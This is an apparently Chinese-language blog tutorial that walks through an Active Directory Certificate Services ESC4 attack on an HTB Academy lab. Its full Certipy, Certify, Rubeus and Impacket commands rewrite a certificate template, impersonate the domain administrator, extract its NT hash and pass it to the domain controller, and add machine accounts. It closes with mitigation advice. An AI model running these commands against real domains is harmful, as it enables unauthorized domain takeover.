ADCS ESC4攻击剖析:通过模板ACL滥用实现权限提升

本文深入剖析ADCS证书服务中ESC4漏洞的利用方式,详细展示如何通过配置不当的证书模板ACL实现域权限提升。涵盖Linux和Windows双环境下的完整攻击链,包括漏洞识别、模板修改、证书请求和权限恢复等关键技术环节。

ADCS攻击系列:通过模板ACL滥用ESC4实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但像AD中的大多数组件一样,ADCS也有自身的一系列漏洞,可能导致域权限提升和其他严重安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)进行跟踪记录。

本系列文章将逐个分析这些错误配置,并以实用易行的方式展开说明。

今天我们将重点分析ESC4,探讨当证书模板的访问控制列表(ACL)权限过大(如向低权限用户或计算机授予WriteDacl、WriteOwner甚至GenericAll权限)时,如何通过修改模板配置使其可被滥用。我们将把模板调整为易受ESC1攻击的状态,然后利用它来冒充Domain Admin等高权限用户。

本文将使用HTB Academy的ADCS攻击模块进行逐步演示。

目录

  • 理解ESC4
  • ESC4滥用要求
  • 所需工具
  • 通过用户主体滥用ESC4
    • A. Linux方法
    • B. Windows方法
  • 通过计算机主体滥用ESC4
    • 选项1:创建新机器账户
    • 选项2:使用已攻陷的机器账户
  • 缓解措施
  • 资源

理解ESC4

滥用ESC4始于发现具有过度宽松ACL的证书模板,这些ACL允许低权限用户或计算机通过WriteDacl、WriteProperty、WriteOwner或GenericAll权限修改模板配置,从而造成域权限提升漏洞。

识别可修改模板后,最常见且直接的攻击路径是使其易受ESC1滥用技术攻击,从而让我们能够冒充DA等高权限用户。

ESC4滥用要求

要识别易受攻击的模板,我们使用Certipy或Certify等工具检查证书模板的ACL权限。

对象控制权限:我们主要关注对模板或相关身份具有这些权限的组,如Domain Users、Authenticated Users或Domain Computers。

所需工具

Linux: Certipy, Impacket, NetExec
Windows: Certify, Rubeus, NetExec, Certipy.exe

通过用户主体滥用ESC4

A. Linux方法

1. 识别易受攻击的模板

首先使用Certipy检查证书模板,提供有效的域用户凭证和DC IP:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

我们重点关注"Object Control Permissions"部分,密切关注哪些主体拥有哪些权限。

2. 保存旧模板

在修改模板前,保存旧配置以便攻击完成后恢复更改:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -save-configuration ESC4-original

3. 修改模板

将模板修改为易受ESC1攻击的状态:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -write-default-configuration

关键修改包括:

  • 启用Enrollee Supplies Subject标志
  • 设置Certificate Name Flag为ENROLLEE_SUPPLIES_SUBJECT
  • 配置扩展密钥用法(EKU)为客户端认证
  • 确保低权限用户具有注册权限
  • 禁用管理审批要求

4. 以冒充用户身份请求证书

请求证书冒充DA用户:

1
certipy -debug req -u 'blwasp@lab.local' -p 'Password123!' -template ESC4 -ca 'lab-LAB-DC-CA' -dc-ip 10.129.228.236 -dc-host LAB-DC.lab.local -target LAB-DC.lab.local -upn administrator@lab.local

5. 提取冒充账户的NT哈希

使用auth命令以管理员身份认证并获取NT哈希:

1
certipy auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

6. 访问域控制器

使用impacket-wmiexec访问DC:

1
impacket-wmiexec lab.local/administrator@10.129.185.247 -dc-ip 10.129.185.247 -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

7. 恢复模板配置

使用备份文件恢复原始模板配置:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.185.247 -write-configuration ESC4-original.json

8. 验证更改

运行find命令确认模板已正确恢复。

B. Windows方法

1. 识别易受攻击的模板

运行Certify命令并保存输出:

1
.\Certify.exe find > certify_output.txt

手动审查模板权限,重点关注对象控制权限。

2. 保存模板

使用PowerShell脚本备份模板配置:

1
.\Manage-CertTemplate.ps1 -Mode Backup -TemplateName "ESC4"

3. 修改模板

使用PowerView或ADSI修改模板配置,使其易受ESC1攻击。

4. 以冒充用户身份请求证书

请求证书冒充管理员:

1
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC4 /altname:Administrator /domain:lab.local

5. 转换证书

使用OpenSSL将PEM格式转换为PFX格式。

6. 证书认证

使用Rubeus进行证书认证:

1
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials

7. 恢复更改

使用备份文件恢复原始模板配置。

通过计算机主体滥用ESC4

如果证书模板允许Domain Computers或特定计算机账户修改它,我们可以遵循与"通过用户主体滥用ESC4"相同的步骤,只需进行少量调整。

选项1:创建新机器账户

如果模板授予Domain Computers控制权限,我们可以创建新的机器账户。首先检查机器账户配额:

1
nxc ldap 10.129.185.247 -u blwasp -p 'Password123!' -M maq

然后使用Impacket创建机器账户:

1
impacket-addcomputer -dc-ip 10.129.185.247 -computer-name TESTMACHINE01 -computer-pass TEST_password1234! lab.local/blwasp:'Password123!'

选项2:使用已攻陷的机器账户

此选项涉及获取对已具有证书模板控制权的机器账户的访问权限。需要先在目标系统上获得本地管理员权限。

缓解措施

  • 审查证书模板的ACL,确保低权限用户或组未被授予WriteDacl、WriteOwner或Full Control权限
  • 检查每个模板的注册权限,不要向Domain Users等组开放权限
  • 通过Windows事件日志监控模板更改:4899(更改CA安全设置)和4886(证书服务收到证书请求)

资源

  • Certified Pre-Owned
  • AD CS ESC4特权提升教程
  • 滥用Active Directory证书服务(ADCS)
  • ADCS:玩转ESC4
  • AD CS 102:如何检测和缓解ESC4攻击
  • 攻陷域:AD CS

本文深入剖析了通过用户和计算机主体滥用ESC4的方法。关键要点是证书模板上过度宽松的ACL极其危险,特别是当它们允许低权限用户或计算机修改模板并将其重塑为可滥用的状态时。

无论您使用Linux上的Certipy还是Windows上的Certify和PowerView,攻击步骤基本相同:找到正确权限、调整模板、请求证书、提升权限。只需记得在完成后清理并恢复原始配置。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计